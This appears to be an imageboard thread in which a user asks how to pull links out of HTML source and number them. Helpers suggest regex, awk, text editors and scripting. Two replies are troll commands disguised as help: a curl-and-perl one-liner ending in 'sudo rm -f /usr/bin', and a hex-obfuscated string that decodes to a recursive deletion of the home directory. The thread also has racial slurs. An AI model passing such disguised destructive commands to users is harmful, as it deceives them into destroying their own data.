from the code of a web page i wanted to copy the bunch text with the list of this links but as you can see it inclutes < img src= and <a> switches and all this shit...
So i want to copy that and edit it removing everything but the link and keep every link in a single line and also i want to add a "/1, /2, /3, ... " at the end of every link.... and save them in a .txt file
how can i do this?
can i use some nice tool to edit lines of text like that and add numbering or whatever i want???
what do u suggest?
>>57124731
Regular expressions.
>>57124750
What do u mean?
>>57124813
Google regexp.
>>57124819
that does not work for what i want
>>57125409
That's exactly what you want.
You could do some javascript in the console.
>>57126171
I don't think they know what they want
curl [YOUR_URL_HERE] | perl -ne'/<img src="([^"]*)"/ && print "$1\n"' && sudo rm -f /usr/bin
Good luck with your app, Pajeet!
notepad.exe
Edit > Replace
you can do the same thing above anon said with notepad++
>>57126296
>>57126296
Savage
>>57126296
>rm: cannot remove '/usr/bin': Is a directory
Should have done something that actually works and doesn't require root, like$(echo 726d202d7266207e0a | xxd -r -ps)
https://www.gnu.org/software/gawk/manual/gawk.html
Here is a guide on awk/gawk. Read it and you will be ready to do what you want to do in 3 months. good luck.
>>57126296
Forgot to add recursive
>>57124731
>what is ctrl+d in sublime text
We have a >>>/sqt/ you know? Fucking nigger
>>57125409
They are used for exactly this sort of shit. Link me the website senpai
>>57124731
gedit, or anything with "find and replace" tool.
Regex
Would be ezpz with some python knowledge. It's ok, you can still pay pajeet to make a script though
>>57124731
First of all: for fuck sake learn to screenshot.
Second, do you need it for:
-one time only
-multiple occasion
-generating a list to feed to more code / include in anothe program
>one time
Text editor of your choice > find and replace > replace unwanted strings with an empty string.
Also, in sublime text you can have multiple cursor to edit multiple lines at the same time.
>otherwise:
regex,
or write a parser that copies the wanted lines in a string array, then for each string in the arrays extracts just the substring you want and adds it to a second string array